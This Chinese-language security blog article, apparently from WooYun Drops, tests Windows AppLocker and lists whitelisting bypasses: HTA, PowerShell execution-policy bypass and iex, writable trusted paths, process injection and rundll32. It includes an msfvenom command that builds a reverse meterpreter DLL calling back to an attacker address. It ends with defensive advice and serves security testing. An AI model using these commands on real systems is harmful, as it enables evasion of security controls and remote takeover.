Bypass Windows AppLocker
0x00 前言
上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。
0x01 簡介
Windows AppLocker,即“應用程式控制策略”,可用來對可執行程式、安裝程式和腳本進行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise
如圖
AppLocker可對以下檔案格式創建規則,限制其執行
下面我們就實際測試一下相關功能
0x02 配置
測試環境:
OS:Windows7 Ultimate x86
1、開啟服務
進入電腦管理-服務-Application Identity,將服務設置為開啟
如圖
2、進入AppLocker配置介面
輸入secpol.msc進入本地安全性原則-應用程式控制策略-AppLocker
或者gpedit.msc-電腦配置-Windows設置-安全設置-應用程式控制策略-AppLocker
如圖
3、配置規則
對可執行檔設置預設規則:
允許本地管理員組的成員運行所有應用程式。
允許 Everyone 組的成員運行位於 Windows 資料夾中的應用程式。
允許 Everyone 組的成員運行位於 Program Files 資料夾中的應用程式。
如圖
對腳本設置預設規則:
允許本地管理員組的成員運行所有腳本。
允許 Everyone 組的成員運行位於 Program Files 資料夾中的腳本。
允許 Everyone 組的成員運行位於 Windows 資料夾中的腳本。
如圖
開啟預設規則後,除了預設路徑可以執行外,其他路徑均無法執行程式和腳本
0x03 測試
1、執行exe
2、執行腳本
0x04 安全機制分析
通過測試發現設置的規則已經生效,能夠阻止信任路徑外的exe和腳本執行,但是對以下方面沒有做限制:
記憶體
Office
HTML Applications,即hta文件
powershell
而我們已經掌握的繞過技術有:
利用hta檔
利用jscript
利用powershell
利用InstallUtil
利用regsvcs
再加上新學來的技巧,我們最終發現了如下可供利用的方法
0x05 繞過方法
1、hta
成功
(可參照http://drops.wooyun.org/tips/10667)
可用來執行vbs和JavaScript腳本
2、提權
提權到管理員許可權,即可執行突破AppLocker的限制,執行exe和腳本
3、powershell
(1)可以執行ps腳本
PowerShell.exe -ExecutionPolicy Bypass -File
(2)可以通過如下方式執行ps腳本
Get-Content script.txt | iex
(3)可以利用快捷方式執行Powershell
成功
(可參照http://drops.wooyun.org/tips/10667)
4、進程注入
既然可以執行powershell腳本,那麼就可以反彈出meterpreter
然後嘗試進程注入
(可參照http://drops.wooyun.org/tips/11305)
如果注入到普通許可權進程,無法執行exe和腳本
如果是system許可權進程,可以執行exe和腳本
5、查找可利用的檔路徑
通過ps腳本掃描可寫入的路徑
下載地址:http://go.mssec.se/AppLockerBC
(如果無法下載,我已將該腳本上傳至Github)
測試如圖
執行後會自動掃描出可利用的路徑
比如選擇路徑:c:\Windows\Tasks
正常執行calc.js會被攔截
但是copy calc.js c:\Windows\Tasks後
再執行c:\Windows\Tasks\calc.js,可以繞過攔截
如圖
6、rundll32
(1)執行JavaScript
a、直接彈回一個Http shell
(可參照http://drops.wooyun.org/tips/11764)
但無法繞過對執行exe和腳本的攔截
b、利用JavaScript執行powershell命令返回HTTP shell
(2)載入協力廠商dll
a、自己編寫的dll
參考資料:
http://blog.didierstevens.com/2010/02/04/cmd-dll/
按照dll的格式,自己編寫並生成dll上傳
執行
rundll32.exe cmd.dll,Control_RunDLL
彈出一個cmd
如圖
b、反彈meterpreter
kali下:
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
生成a.dll,然後上傳至測試主機
執行
rundll32.exe a.dll,Control_RunDLL
即可上線
7、利用InstallUtil
利用InstallUtil.exe直接執行shellcode 成功
如果有Microsoft .NET Framework 4.0環境,可用來執行exe
(可參照http://drops.wooyun.org/tips/8701,http://drops.wooyun.org/tips/8862)
8、利用regsvcs
成功
(可參照http://drops.wooyun.org/tips/10667)
0x06 防禦
嚴格控制文件寫入許可權
禁用mshta.exe阻止hta的運行
禁用powershell
防止被提權
0x07 小結
隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防禦,對此部分都要尤其重視。
而利用rundll32.exe的技巧,正在慢慢被發掘。
0x08 參考資料:
https://technet.microsoft.com/en-us/library/dd759117.aspx
https://technet.microsoft.com/en-us/library/hh831440.aspx
http://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/
https://mssec.wordpress.com/2015/10/22/applocker-bypass-checker/
https://www.attackdebris.com/?p=143
http://blog.didierstevens.com/2010/02/04/cmd-dll/
相關檔下載地址:
https://github.com/3gstudent/Bypass-Windows-AppLocker
文章來源:http://drops.wooyun.org/tips/11804
圖片來源:https://pixabay.com/